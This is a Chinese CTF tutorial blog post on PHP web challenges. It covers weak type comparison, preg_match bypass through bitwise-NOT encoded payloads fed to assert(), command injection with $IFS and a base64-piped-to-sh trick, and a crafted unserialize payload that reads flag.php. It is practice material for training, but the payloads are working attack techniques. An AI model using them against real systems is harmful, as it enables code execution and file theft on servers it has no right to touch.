p84 CTF夺旗-PHP弱类型&异或取反&序列化&RCE

数据来源

文章参考

本课重点:

  • 案例1:PHP-相关总结知识点-后期复现
  • 案例2:PHP-弱类型对比绕过测试-常考点
  • 案例3:PHP-正则preg_match绕过-常考点
  • 案例4:PHP-命令执行RCE变异绕过-常考点
  • 案例5:PHP-反序列化考题分析构造复现-常考点

案例1:PHP-相关总结知识点-后期复现

相关PHP所有总结知识点参考:

https://www.cnblogs.com/iloveacm/category/1791836.html

ctf变量

  1. php的弱类型比较问题
  2. php断言(assert)
  3. php读取目录下文件的方法
  4. preg_match绕过
  5. PHP中sha1()函数和md5()

异或注入

  1. updatexml()函数报错注入
  2. 源文件泄露利用
  3. extract变量覆盖
  4. strcmp()漏洞
  5. md5()漏洞
  6. ereg()截断漏洞
  7. 弱类型整数大小比较绕过

命令执行

  1. md5()漏洞
  2. escapeshellarg()与escapeshellcmd()
  3. sql注入绕过关键字
  4. preg_replace/e的命令执行漏洞
  5. MYSQL特殊模式
  6. PHP字符串解析特性

案例2:PHP-弱类型对比绕过测试-常考点

弱类型绕过对比总结:

https://www.cnblogs.com/Mrsm1th/p/6745532.html

===  在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
==    在进行比较的时候,会先将字符串类型转化成相同,再比较

举例


$num=$_GET['num'];<br>
if(!is_numeric($num))<br>
{<br>
echo $num;<br>
if($num==1)<br>
echo 'flag{**********}';<br>
}<br>
<?php 
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
?>

代码解析

$num=$_GET['num'];<br>                       // 接收get请求的num参数的值
if(!is_numeric($num))<br>                    // is_numeric — 检测变量是否为数字或数字字符串,是则返回True 
// 注意这里前面有个 ! 表示非,意思是如果是true那就反转为false,反之如果是false就会变成true,也就是说这里需要数据不是纯数字才能通过判断
{<br>
echo $num;<br>                               // echo — 输出一个或多个字符串
if($num==1)<br>                              // 判断num是否等于1  注意这里是两个 =
echo 'flag{**********}';<br>                 // 符合条件就打印 'flag{**********}' 
}<br>
<?php 
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
?>

在线的靶场:https://ctf.bugku.com/challenges/index/gid/1/tid/1.html?keyword=%E7%9F%9B%E7%9B%BE 

 

  

或这里使用phpStudy在本地部署文件

访问:(只要后面的参数不是纯数字就能打印flag)

127.0.0.1/get/index.php

传参1x,得到flag (参数不是纯数字就行) 

也可以添加换行符:1%0a 

案例3:PHP-正则preg_match绕过-常考点

ctf中 preg_match 绕过技术:

  • 方法1:异或
  • 方法2:取反
  • 方法3:数组
  • 方法4: PCRE
  • 方法5∶换行符

真题:preg_match绕过-ctfhub-2020-第五空间智能安全大赛-web-hate_php

靶场地址:https://www.ctfhub.com/#/challenge

1)打开页面,显示如下代码

<?php

error_reporting(0);

if(!isset($_GET['code'])){

    highlight_file(__FILE__);

}else{

    $code = $_GET['code'];

    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {

        die('You are too good for me');

    }

    $blacklist = get_defined_functions()['internal'];

    foreach ($blacklist as $blackitem) {

        if (preg_match ('/' . $blackitem . '/im', $code)) {

            die('You deserve better');

        }

    }

    assert($code);

}

代码解析 

<?php
error_reporting(0);                     // error_reporting()关闭所有PHP错误报告
if(!isset($_GET['code'])){              // isset() 检测变量是否已设置并且非 NULL
    highlight_file(__FILE__);           // highlight_file() — 语法高亮一个文件,参数是要设置的文件路径(就是读取文件内容)
}else{
    $code = $_GET['code'];             // 获取get请求携带的code参数
    // preg_match — 执行匹配正则表达式
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me');   // die — 等同于 exit(),exit — 输出一个消息并且退出当前脚本
    }
    $blacklist = get_defined_functions()['internal'];   // get_defined_functions — 返回所有已定义函数的数组(就是php常用函数/内置函数)。包括内置(internal) 和用户定义的函数
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);                           // assert — 检查一个断言是否为 FALSE(这是官方的解释),assert()函数还有个作用就是直接将传入的参数当成PHP代码执行·不需要以分号结尾
}

2)第一个正则表达式过滤了相关的关键字。第二个正则表达式过滤了PHP的内置函数,因此即使找到了某个函数恰好可以绕过第一个,也过不去第二个过滤。这样的题目,一般的思路就是利用异或或者取反来绕过。这里用取反来绕过

 第一步绕过思路:取反绕过(把getFlag取反然后URL编码:)

例如对:"getFlag"进行取反

PHP 在线工具 | 菜鸟工具

首先我们要获取当前目录下的文件信息,实现代码:

// print_r()  打印变量
// scandir() 列出指定路径中的文件和目录 , '.'  表示当前目录
print_r(scandir('.'))

但是前面讲了源代码对函数做了过滤,所以这里我们要把每个函数与函数的参数拆分开来,然后进行取反再进行url编码绕过

拆分成:print_r scandir. 

实现方式跟上面一样,先使用在线的php编译工具取反然后格式化成URL编码,实现代码如下:

<?php
echo urlencode(~'print_r');   // urlencode — 编码 URL 字符串,  ~ 取反
echo "\n";                    // \n 换行,让打印的数据好看点
echo urlencode(~'scandir');
echo "\n";
echo urlencode(~'.');
?>

编码后的结果: 

%8F%8D%96%91%8B%A0%8D
%8C%9C%9E%91%9B%96%8D
%D1

开始发送url请求获取当前目录下的文件信息,刚才查看源码发现他是get请求参数是code

?code=print_r(scandir('.'))    # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求

?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))    # 使用这个url去发送请求


/*
* 原来的编码:
*    %8F%8D%96%91%8B%A0%8D
*    %8C%9C%9E%91%9B%96%8D
*    %D1
*
*  url解析:
    1.在使用url编码进行请求时我们的url编码要用 () 括起来不然无法识别,就变成了:
*    (%8F%8D%96%91%8B%A0%8D)
*    (%8C%9C%9E%91%9B%96%8D)
*    (%D1)
*
*    2. 使用工具把函数与请求的参数转换成url的时候我们使用 ~ 进行了取反,所有到这里要使用这些编码进行请求时我们也要用 ~ 进行取反将数据转换回来,所以现在就变成了:
*    (~%8F%8D%96%91%8B%A0%8D)
*    (~%8C%9C%9E%91%9B%96%8D)
*    (~%D1)
*/

返回的信息是个数组:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )    表示当前目录下有两个文件 flag.php 与 index.php

读取flag.php构造payload 

实现代码:

highlight_file(flag.php) 

拆分成:highlight_fileflag.php

<?php
echo urlencode(~'highlight_file');   // urlencode — 编码 URL 字符串,  ~ 取反
echo "\n";                           // \n 换行,让打印的数据好看点
echo urlencode(~'flag.php');

?>

编码后的结果:  

%97%96%98%97%93%96%98%97%8B%A0%99%93%96%9A
%99%93%9E%98%D1%8F%97%8F

开始发送url请求读取flag.php

?code=highlight_file(flag.php)     # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求 

?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F)) # 使用这个url去发送请求


最后复制获取到的flag,到靶场提交,解题成功

案例4:PHP-命令执行RCE变异绕过-常考点

命令执行常见绕过:https://www.cnblogs.com/iloveacm/p/13687654.html

靶场地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping

1)场景打开如下,页面是/?ip=      很明显这肯定就是个命令执行

​​

2)输入:?ip=127.0.0.1             本地ip地址测试一下

这就相当于我们自己在cmd中手动ping (这就说明这里是可以执行系统命令的)

3)虽然这个靶场现在只是可以执行ping命令,但是我们可以使用特殊字符进行连接让他执行我们需要的命令

常用的特殊字符有:|、;、||、&&、&、$

查看当前目录下文件

?ip=127.0.0.1 ; dir          # dir 是windows的查看文件目录命令

将空格清除再测试

?ip=127.0.0.1;dir          # 这里执行后没有反应,说明服务器不是windows系统

​ 

 这里换成linux系统命令再执行一次,成功列出文件信息

?ip=127.0.0.1;ls           # 使用linux系统的命令测试成功列出当前目录的文件信息

​​

4)尝试读取flag文件

/?ip=127.0.0.1;catflag.php   # cat 是linux系统的查看文件内容的命令,因为前面说了靶机过滤了空格这里就不加空格了

发现过滤了字符 flag  

5)尝试绕过这个字符过滤

https://www.cnblogs.com/iloveacm/p/13687654.html

绕过方式一:变量拼接    ($IFS$数字   -- 相当于空格   $a 是指a 这个变量)

/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

但是只有这种绕过方式?我们可以查看靶机源代码(indx.php),分析绕过规则

/?ip=127.0.0.1;a=x;cat$IFS$2inde$a.php       # 这里我将a=g 改成a = x

​​

代码解析:

<?php
if(isset($_GET['ip'])){        // isset — 检测变量是否已设置并且非 NULL, $_GET['ip']  获取传入的ip参数的内容
  $ip = $_GET['ip'];          // 将传入的ip赋值给ip变量
   // preg_match() 执行匹配正则表达式
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");   // die 输出一个消息并且退出当前脚本
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);    // shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回 , -c 4  指定ping的次数为4
  echo "<pre>";              // echo  输出一个或多个字符串
  print_r($a);               // print_r 打印变量
}

?>

绕过方式二:内联注释(将反引号命令的结果作为输入来执行命令)

/?ip=127.0.0.1;cat$IFS$2`ls`

绕过方式三:sh

  • Y2F0IGZsYWcucGhw 是base64加密后的字符解密就是:cat flag.php
  • echo  输出一个或多个字符串
  • $IFS$2 相当于空格
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh

案例5:PHP-反序列化考题分析构造复现-常考点

真题:网鼎杯2020-青龙组-web-AreUserialz

靶场地址:https://www.ctfhub.com/#/challenge

搜索:AreUSerialz

 序列化和反序列化作用(来源

  • 便于存储:序列化过程将文本信息转变为二进制数据流。这样就信息就容易存储在硬盘之中,当需要读取文件的时候,从硬盘中读取数据,然后再将其反序列化便可以得到原始的数据。在Python程序运行中得到了一些字符串、列表、字典等数据,想要长久的保存下来,方便以后使用,而不是简单的放入内存中关机断电就丢失数据。python模块大全中的Pickle模块就派上用场了,它可以将对象转换为一种可以传输或存储的格式。
  • 便于传输:当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把這个对象转换为字节序列,在能在网络上传输;接收方则需要把字节序列在恢复为对象。

反序列化漏洞原理:(来源

        未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。

        在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

重要函数:

  • serialize() :将一个对象转换成字符串 。  (序列化)
  • unserialize() :将字符串还原成一个对象  (反序列化)

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法。

__construct()    // 创建对象时触发
__destruct()     // 对象被销毁时触发
__call()            // 在对象上下文中调用不可访问的方法时触发
__callStatic()   // 在静态上下文中调用不可访问的方法时触发
__get()            // 用于从不可访问的属性读取数据
__set()            // 用于将数据写入不可访问的属性
__isset()         // 在不可访问的属性上调用 isset()或 empty()触发
__unset()        // 在不可访问的属性上使用 unset()时触发
__invoke()      // 当脚本尝试将对象调用为函数时触发

发现Flag位置-反序列化考点-分析代码-构造代码生成Payload

具体解题步骤参考前面笔记 来源

https://www.cnblogs.com/zhengna/p/15661109.html

打开靶机获取代码:

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

代码解析:(我注释写的很详细,就算你没有学过php也能做这个程序的代码审计)

<?php

// 获取flag.php文件的内容就是我们的目的
include("flag.php");               // include() 语句包含并运行指定文件,就是调用/导入/引入文件(也可以理解为把目标文件的内容复制粘贴到当前文件)

highlight_file(__FILE__);          // highlight_file — 语法高亮一个文件,也可以用来读取文件内容    __FILE__ 返回当前执行PHP脚本的完整路径和文件名,包含一个绝对路径

class FileHandler {                // 定义一个类,名为FileHandler 
    protected $op;                 // 定义一个变量$op    protected 将变量设置为受保护的,外界无法直接访问这个控制
    protected $filename;          
    protected $content;           

    function __construct() {        // 创建对象时触发
        $op = "1";                  // 给 $op 赋值为 "1"(字符串1)
        $filename = "/tmp/tmpfile"; 
        $content = "Hello World!";
        $this->process();          // 调用process方法(也称为类的成员方法) , $this 指当前类,因为在当前方法调用当前类的另一个方法process()时就要加上$this不然程序找不到
    }  

    // public 定义公有的方法
    public function process() {         // 这个process() 方法就是对op进行判断  
        if($this->op == "1") {          // 判断 op=1?   注意这里是两个= ,判断的是值也就是说只要是1就可以了不管你是数字1还是字符1
            $this->write();             // 如果符合判断条件,调用write方法,写入文件的方法
        } else if($this->op == "2") {  // op=2? 
            $res = $this->read();       // 调用read方法,读取文件的方法,方法的返回值是读入到的文件内容
            $this->output($res);        // 将$res变量中存储的文件内容,输出 output()方法是下面自定义的输出方法
        } else {                        // 否则结束
            $this->output("Bad Hacker!");
        }
    }
 
    private function write() {            // 可忽略,没有意义当 op=1 时才会进入这个函数,我们解题需要op = 2
        if(isset($this->filename) && isset($this->content)) {  // isset — 检测变量是否已设置并且非 NULL, 存在并且值不是 NULL 则返回 TRUE,否则返回 FALSE
            if(strlen((string)$this->content) > 100) {   // strlen — 获取字符串长度
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);  // file_put_contents — 将一个字符串写入文件,该函数将返回写入到文件内数据的字节数,失败时返回FALSE
            if($res) $this->output("Successful!");  // 判断$res不为空,打印成功的信息
            else $this->output("Failed!");          // 否则打印失败信息
        } else {
            $this->output("Failed!");
        }
    }
    // private 把方法声明为私有的,也就是说只有当前类才能调用
    private function read() {                           // 这个方法就是读取文件的方法
        $res = "";                                      // 先将 $res 变量赋值为空
        if(isset($this->filename)) {                     // 如果filename存在的话,直接获取文件内容
            $res = file_get_contents($this->filename);   // file_get_contents — 将整个文件读入一个字符串    $this->filename 是$this->$filename 在内存中的存储地址
        }
        return $res;                                    // 将读入到的文件内容返回
    }

    private function output($s) {                // 自定义的输出方法
        echo "[Result]: <br>";                   // echo — 输出一个或多个字符串
        echo $s;                                 // 将方法接收到的数据($s)输出
    }

    function __destruct() {       // 当对象进行销毁的时触发
        if($this->op === "2")   // 这里判断op是否强等于"2"(就是类型与值都要相等),如果等于"2"     可以使用数字2或字符串'2'绕过判断,因为等于1是调用写入方法等于2才是读取文件数据的方法
            $this->op = "1";      // op赋值"1"
        $this->content = "";
        $this->process();         // 调用process()方法对op的值进行判断
    }

}


function is_valid($s) {   
    // 循环判断字符串的每一次值,是否在32-125内(可见字符之内的字符串),strlen — 获取字符串长度
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))   // !表示非 ord — 转换字符串第一个字节为 0-255 之间的值 (asiic码) 
            return false;                                // 不符合条件返回false
    return true;                                        // 符合条件返回true
}

if(isset($_GET{'str'})) { // $_GET{'str'}获取通过get请求传过来的str  isset — 检测变量是否已设置并且非 NULL

    $str = (string)$_GET['str'];  // 将获取到的get参数str赋值给$str变量
    if(is_valid($str)) {          // 然后str过一下上面的is_valid方法,看一下是否有非法字符
        $obj = unserialize($str); // 如果没有直接unserialize反序列化
    }

}

绕过思路:

1、通过str参数传入值,绕过相关的过滤(就是构造payload)

2、str变量值 - 字符串格式,创建类对象FileHandler 

前面讲了unserialize() 方法将字符串还原成一个对象  (反序列化),就是相当于创建了对象,当创建了对象后就会触发__construct()方法

3、让op = 2,filename = flag.php     #  因为源代码当op=2是就会调用读取的方法,读取filename变量对应的文件

 

4、构造攻击Patload

代码在线运行 - 在线工具

<?php
class FileHandler{
	public $op=2;
	public $filename="flag.php";
	public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

代码解析: 

<?php
class FileHandler{                // 这里的类命令要与源码的类名一致才行
  public $op=2;                 // 源码告诉我们op为1时执行写入,op为2时执行读取   这里有两个值都可以 2 或 '2'    "2" 已经被过滤不写这个就行
  public $filename="flag.php";  // 文件开头调用的是flag.php
  public $content="xd";         // 这个随便写点东西就行,
}
$flag = new FileHandler();       // new  FileHandler() 创建类对象,这里创建对象也会触发源码中的__construct方法,然后经过一系列的操作最终给我们返回flag.php的内容
$flag_1 = serialize($flag);      // serialize 将一个对象转换成字符串(序列化),因为源码对传入的参数进行了反序列化
echo $flag_1;                   // 输出序列化后的类
?>

代码运行结果:

 

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

5)使用攻击 Patload 获取flag

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

涉及资源:

  • https://www.cnblogs.com/iloveacm/category/1791836.html CTF知识点
  • https://buuoj.cn/challenges 靶场
  • https://www.ctfhub.com/#/challenge ctf
  • http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 绕过技术 | 无字母数字的webshell
  • https://www.cnblogs.com/iloveacm/p/13687654.html 命令执行

猜你喜欢

转载自blog.csdn.net/weixin_43263566/article/details/129659822
84
今日推荐